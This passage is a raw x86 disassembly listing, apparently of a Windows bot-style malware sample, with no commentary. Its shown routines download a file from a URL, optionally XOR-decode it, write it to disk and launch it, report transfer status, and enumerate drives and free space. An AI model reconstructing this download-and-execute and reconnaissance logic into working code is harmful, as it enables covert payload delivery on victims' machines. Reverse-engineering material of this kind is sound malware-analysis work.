loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2920000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 28B0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB674
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB63C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 28005AFh
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437B70
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB6BC


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437B58
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 288097Dh
		nop


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2820000h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429A94
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 28B0703h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437CD4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 28005AFh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_437CA4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_437C84


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB63C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB620
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB674
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6BC
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 288097Dh


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C58
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB6BC


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 288097Dh
		nop


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB5D4
		call	dword_4CB528
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 28B0703h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437EA0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 2830E52h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB530
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 28A0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E78
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E50


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E360
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E24
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 2830E52h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 28005AFh
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437DC4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB590
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DA8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437D64
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D7D8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2800890h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CB57C
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D30
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D04


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CB658
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3258
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB684
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437EF4
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437EF0
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB514
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F44
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437F08
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB58C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB58C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
